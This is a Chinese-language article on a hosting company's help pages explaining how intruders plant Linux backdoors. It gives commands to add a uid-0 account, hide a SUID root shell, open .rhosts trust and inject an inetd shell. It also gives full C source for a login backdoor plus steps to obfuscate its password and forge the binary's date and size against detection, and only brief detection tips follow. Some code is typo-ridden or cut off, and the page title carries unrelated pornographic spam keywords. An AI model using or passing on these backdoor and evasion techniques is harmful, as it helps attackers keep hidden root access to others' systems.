亚洲综合社区欧美综合色-欧美逼逼一区二区三区-国产老熟女高潮精品网站-国产日韩最新视频在线看

始創(chuàng)于2000年 股票代碼:831685
咨詢熱線:0371-60135900 注冊(cè)有禮 登錄
  • 掛牌上市企業(yè)
  • 60秒人工響應(yīng)
  • 99.99%連通率
  • 7*24h人工
  • 故障100倍補(bǔ)償
全部產(chǎn)品
您的位置: 網(wǎng)站首頁(yè) > 幫助中心>文章內(nèi)容

系統(tǒng)安全之淺談Linux后門(mén)技術(shù)及實(shí)踐

發(fā)布時(shí)間:  2012/9/15 20:11:37

后門(mén)簡(jiǎn)介

入侵者完全控制系統(tǒng)后,為方便下次進(jìn)入而采用的一種技術(shù)。一般通過(guò)修改系統(tǒng)配置文件和安裝第三方后門(mén)工具來(lái)實(shí)現(xiàn)。 具有隱蔽性,能繞開(kāi)系統(tǒng)日志,不易被系統(tǒng)管理員發(fā)現(xiàn)等特點(diǎn)。

常用后門(mén)技術(shù)

 

增加超級(jí)用戶賬號(hào)
破解/嗅探用戶密碼
放置SUID Shell
rhosts + +
利用系統(tǒng)服務(wù)程序
TCP/UDP/ICMP Shell
Crontab定時(shí)任務(wù)
共享庫(kù)文件
工具包rootkit
可裝載內(nèi)核模塊(LKM)

增加超級(jí)用戶

 

# echo "e4gle:0:0::/:/bin/sh" >> /etc/passwd
# echo "e4gle::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

如果系統(tǒng)不允許uid=0的用戶遠(yuǎn)程登錄,還需要增加一個(gè)普通用戶賬號(hào)。

破解/嗅探用戶密碼

獲得shadow文件后,用John the Ripper 工具破解薄弱的用戶密碼。安裝sniffit等嗅探工具,監(jiān)聽(tīng)telnet、ftp等端口,收集用戶密碼。

放置SUID Shell

 

# cp /bin/bash /dev/.rootshell
# chmod u+s /dev/.rootshell

普通用戶在本機(jī)運(yùn)行/dev/.rootshell,即可獲得一個(gè)root權(quán)限的shell。

 

rhosts + +

# echo "+ +" > /.rhosts
# rsh -l root victim.com csh -i

遠(yuǎn)程可以得到一個(gè)rootshell。

利用系統(tǒng)服務(wù)程序

修改/etc/inetd.conf, daytime stream tcp nowait /bin/sh sh -I;用trojan程序替換in.telnetd、in.rexecd等inted的服務(wù)程序,重定向login程序。

TCP/UDP/ICMP Shell

BindShell,大部分是基于TCP/UDP協(xié)議的網(wǎng)絡(luò)服務(wù)程序,在高端口監(jiān)聽(tīng),很容易被發(fā)現(xiàn)。Ping Backdoor,通過(guò)ICMP包激活后門(mén),形成一個(gè)Shell通道。TCP ACK數(shù)據(jù)包后門(mén),能夠穿越防火墻。

Crontab定時(shí)任務(wù)

通過(guò)Crontab程序調(diào)度已安裝的后門(mén)程序定時(shí)運(yùn)行,一般在深夜時(shí)段,是系統(tǒng)管理員不在線的時(shí)間。

共享庫(kù)文件

在共享庫(kù)中嵌入后門(mén)函數(shù)使用后門(mén)口令激活Shell,獲得權(quán)限能夠躲避系統(tǒng)管理員對(duì)二進(jìn)制文件本身的校驗(yàn)。

工具包Rootkit

包含一系列系統(tǒng)及后門(mén)工具:

 

- 清除日志中的登錄記錄
- 偽裝校驗(yàn)和
- 替換netstat、ps等網(wǎng)絡(luò)工具
- 后門(mén)登錄程序易于安裝和使用

可裝載內(nèi)核模塊(LKM)

LKM:Loadable Kernel Modules 動(dòng)態(tài)的加載,不需要重新編譯內(nèi)核。截獲系統(tǒng)調(diào)用,具有隱藏目錄、文件、進(jìn)程、網(wǎng)絡(luò)連接等強(qiáng)大功能。自身隱蔽性好,發(fā)現(xiàn)難度較大。著名的LKM包有adore和knark。

后門(mén)的檢測(cè)

以自己的經(jīng)驗(yàn),結(jié)合特定的工具,手工作一些檢測(cè)。使用Tripwire或md5校驗(yàn)來(lái)檢查系統(tǒng)。借助IDS系統(tǒng),監(jiān)聽(tīng)到目標(biāo)機(jī)器的可疑網(wǎng)絡(luò)連接。

實(shí)例:Login后門(mén)

入侵者先把原始的/bin/login備份,再用一段程序替換/bin/login。入侵者telnet登錄進(jìn)來(lái)的時(shí)候,通過(guò)環(huán)境變量或者終端類(lèi)型

傳遞了正確的后門(mén)密碼,將直接獲得一個(gè)Shell;如果是普通用戶登錄,將會(huì)重定向到原始的login文件,來(lái)處理正常的登錄。

最簡(jiǎn)單的login后門(mén)ulogin.c源代碼如下:

實(shí)例:Login后門(mén)

 

#include 
#define PASSWORD "passWORD"
#define _PATH_LOGIN "/sbin/logins"

main (argc, argv, envp)
int argc;
char **argv, **envp;
{
 char *display = getenv("DISPLAY";
 if ( display == NULL ) {
execve(_PATH_LOGIN, argv, envp);
perror(_PATH_LOGIN);
exit(1);
 }
 if (!strcmp(display,PASSWORD)) {
system("/bin/csh";
exit(1);
 }
 execve(_PATH_LOGIN, argv, envp);
 exit(1);
}

利用后門(mén)登錄

首先Telnet服務(wù)是打開(kāi)的,在自己機(jī)器上:

 

bash$ export DISPLAY=passWORD
bash$ telnet victim.com
Trying xxx.xxx.xxx.xxx...
Connected to victim.com (xxx.xxx.xxx.xxx).
Escape character is '^]'.
% _

Strings命令

Strings命令能夠打印出二進(jìn)制文件中的可顯示字符串,用于剛才的ulogin程序:

 

bash$ strings ulogin
/lib/ld-linux.so.2
..............
DISPLAY
/sbin/logins
passWORD
/bin/csh

加密后門(mén)密碼

1、采用DES算法,即crypt( )函數(shù),編寫(xiě)gen.c程序:

 

#include 
main(int argc, char *argv[])
{
if (argc != 3) {
printf("usage: %s  \n", argv[0]);
exit(1);
}
printf("%s\n", crypt(argv[1], argv[2]));
}

2、編譯為gen,執(zhí)行./gen hack ui,得到的shadow結(jié)果為UiVqMWvDrIQjA。

3、修改后門(mén)源程序ulogin.c:

-- 以密文形式的密碼代替ulogin.c中define的宏P(guān)ASSWORD值。

-- 如果后門(mén)密碼正確,直接給出Shell:

 

if (!strcmp(PASSWORD, crypt(display,PASSWORD)))
{
system(SHELL);
exit(1);
}

用strings命令只能看到加密過(guò)的密碼。

采用異或(XOR)算法

以十六進(jìn)制方式表示字符串,以達(dá)到non- printable的效果。

1、編碼程序encode.c如下:

 

char magic[]="\x71\x67\x6d\x7a\x65\x61\x7a";
char *de(char *str,char *key)
{
int i=0,j=0,len;
len=strlen(key);
while(str != '\0') {
str^=key[j];
j++;
if(j==len) j=0;
i++;
}
return str;
}
void display(char *str)
{
int i;
for(i=0;i

2、編譯程序encode,依次執(zhí)行得到關(guān)鍵字符串與magic串異或后的結(jié)果,例如原始login的文件名/sbin/xlogin,經(jīng)過(guò)異或后為:

 

\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb

3、在后門(mén)源代碼中這樣定義:

 

Char
login[]="\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb";

然后插入異或函數(shù)char *de()結(jié)合同一magic串,就能判斷出正確的后門(mén)密碼。

用strings命令看不到密碼、路徑等字符串了。

最后的修飾

使后門(mén)程序ulogin的strings輸出類(lèi)似于正常login的strings輸出,做法為:在ulogin.c代碼中增加一個(gè)字符串?dāng)?shù)組char strings[] ="";,在引號(hào)中填入正常login程序的strings輸出結(jié)果。以假亂真,增加迷惑性。

調(diào)整后門(mén)程序的文件日期、大小等屬性:

1、日期

 

# ls -l /sbin/xlogin
-r-sr-xr-x root root 19300 Feb 11 1998
/sbin/xlogin
# touch -t 199802110000 ulogin
# _

2、調(diào)整大小

 

# ls -l ulogin /sbin/xlogin
-r-sr-xr-x root root 7542 Feb 11 1998 ulogin
-r-sr-xr-x root root 19300 Feb 11 1998 /sbin/xlogin
# bc
19300-7542
11758
# dd if=/sbin/xlogin of=/tmp/t bs=11758 count=1
1+0 records in
1+0 records out
11758 bytes transferred in 0.000379 secs (31016746
bytes/sec)
# cat /tmp/t >> ulogin

Login后門(mén)的檢測(cè)

使用命令md5sum對(duì)現(xiàn)有/bin/login文件作校驗(yàn),與以前的值作比較。使用Red Hat Linux的RPM校驗(yàn):

 

# rpm -V util-linux

在入侵者已經(jīng)利用后門(mén)登錄的情況下,who是看不到用戶的,查看系統(tǒng)進(jìn)程,查找login -h xxx.xxx.xxx.xxx的字樣。
如果有需要服務(wù)器的租用與托管的敬請(qǐng)聯(lián)系QQ:1501281758(億恩星辰)   聯(lián)系電話:0371—63322220


本文出自:億恩科技【1tcdy.com】

服務(wù)器租用/服務(wù)器托管中國(guó)五強(qiáng)!虛擬主機(jī)域名注冊(cè)頂級(jí)提供商!15年品質(zhì)保障!--億恩科技[ENKJ.COM]

  • 您可能在找
  • 億恩北京公司:
  • 經(jīng)營(yíng)性ICP/ISP證:京B2-20150015
  • 億恩鄭州公司:
  • 經(jīng)營(yíng)性ICP/ISP/IDC證:豫B1.B2-20060070
  • 億恩南昌公司:
  • 經(jīng)營(yíng)性ICP/ISP證:贛B2-20080012
  • 服務(wù)器/云主機(jī) 24小時(shí)售后服務(wù)電話:0371-60135900
  • 虛擬主機(jī)/智能建站 24小時(shí)售后服務(wù)電話:0371-60135900
  • 專注服務(wù)器托管17年
    掃掃關(guān)注-微信公眾號(hào)
    0371-60135900
    Copyright© 1999-2019 ENKJ All Rights Reserved 億恩科技 版權(quán)所有  地址:鄭州市高新區(qū)翠竹街1號(hào)總部企業(yè)基地億恩大廈  法律顧問(wèn):河南亞太人律師事務(wù)所郝建鋒、杜慧月律師   京公網(wǎng)安備41019702002023號(hào)
      0
     
     
     
     

    0371-60135900
    7*24小時(shí)客服服務(wù)熱線